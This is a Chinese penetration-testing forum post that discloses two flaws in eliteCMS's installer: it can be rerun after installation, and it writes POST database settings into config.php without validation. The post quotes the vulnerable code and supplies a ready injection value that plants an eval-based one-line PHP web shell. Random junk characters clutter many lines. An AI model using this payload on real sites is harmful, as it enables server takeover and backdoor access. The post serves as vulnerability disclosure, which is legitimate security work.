中国网络渗透测试联盟

标题: eliteCMS安装文件未验证 + 一句话写入安全漏洞 [打印本页]

作者: admin    时间: 2012-11-18 13:59
标题: eliteCMS安装文件未验证 + 一句话写入安全漏洞
eliteCMS的安装程序安装结束后未作锁定,导致黑客可以通过访问安装程序地址进行重复安装/ J7 P8 E4 f1 j' X* o, l
: x, G9 C6 [* i' W
另外一个漏洞是安装程序可以直接写入一句话到admin/includes/config.php
3 |+ P, K. x6 |+ `我们来看代码:
7 O3 Y& s/ G0 r/ }0 u; S8 J9 H2 f- A$ y
! o2 L" A) z  o  u8 _...
" N5 @8 w) `, \+ \5 o7 Belseif ($_GET['step'] == "4") {
) D' D& G! R! x, \4 p1 N- G" \    $file = "../admin/includes/config.php";
8 d) ^- \" Z8 X, J: [# f    $write = "<?php\n";
3 H+ ]5 @1 ~9 ?6 S& ~9 U  K3 P    $write .= "/**\n";
  n/ S9 g- f0 |' w7 d0 @& Q    $write .= "*\n";
& M8 G* B2 j8 d- y    $write .= "*eliteCMS-The LightweightCMS Copyright 2008 elite-graphix.net.\n";
( u( E6 ~+ ?0 D1 Q/ I! r...略...
! V$ ~8 ?, {3 C  j( G! t    $write .= "*\n";& C: y" ?6 t; K
    $write .= "*/\n";8 L4 n1 F$ b) |5 C& v: W7 Q& g" M
    $write .= "\n";
0 Y3 C/ k( b8 H. Y    $write .= "define(\"DB_SERVER\", \"{$_SESSION['DB_SERVER']}\");\n";( t# x/ H& L4 [4 J
    $write .= "define(\"DB_NAME\", \"{$_SESSION['DB_NAME']}\");\n";- P: ~& N$ u; v
    $write .= "define(\"DB_USER\", \"{$_SESSION['DB_USER']}\");\n";
% w2 `* F/ X( Z' z8 c& [/ H6 z4 M) l    $write .= "define(\"DB_PASS\", \"{$_SESSION['DB_PASS']}\");\n";
7 k' k/ ?  w2 e. [4 f. H    $write .= "\$connection = mysql_connect(DB_SERVER, DB_USER, DB_PASS);\n";4 B8 D+ H8 k2 {  ?
    $write .= "if (!\$connection) {\n";5 S5 \5 z" i5 U& X
    $write .= "        die(\"Database connection failed\" .mysql_error());\n";0 g7 u( K. m9 v* f/ G1 r. |8 Z
    $write .= "        \n";! E! a2 Q0 G( z2 D
    $write .= "} \n";0 Y+ V5 U  t8 k# `$ \: {
    $write .= "\$db_select = mysql_select_db(DB_NAME, \$connection);\n";
. d6 T% N% z4 _9 z. U    $write .= "if (!\$db_select) {\n";
4 R3 p  _5 b7 @: C9 \! u    $write .= "        die(\"Database select failed\" .mysql_error());\n";7 R) ]( X. K: j- j
    $write .= "        \n";# z) n. }3 G& E
    $write .= "} \n";
5 G3 S4 ], k9 ^- d! k5 i% v$ ^# h    $write .= "?>\n";5 L) m7 H' K- ~6 D4 u' P
' `; q/ v  N" N6 n( Z" Y
    $writer = fopen($file, 'w');
7 P! K9 r( {$ L- N...+ R# L3 a3 u; ?" `

+ y6 I0 E* r6 _( }在看代码:$ i% e9 d9 `, K" Y
+ Q# F! j0 |) n
$_SESSION['DB_SERVER'] = $_POST['DB_SERVER'];
6 M! M0 @* X) ?! x6 b$_SESSION['DB_NAME'] = $_POST['DB_NAME'];. ^' o5 L+ g; h+ y4 C
$_SESSION['DB_USER'] = $_POST['DB_USER'];
! N' k3 b+ T% c# Z: F8 g" j$_SESSION['DB_PASS'] = $_POST['DB_PASS'];& |: f/ p; Z0 O
1 z- T. Z) A+ m3 l
取值未作任何验证* f" j! p- t& N
如果将数据库名POST数据:1 `4 Q  f- G" i- K7 ]9 q+ D
5 ~/ Y, E- L3 a: F2 [
"?><?php eval($_POST[c]);?><?php/ n/ v7 Y' V7 q3 u2 A& v. a5 p: N: E

$ [  I  e4 ~7 C# u将导致一句话后门写入/admin/includes/config.php
% M' t  W  x; L




欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2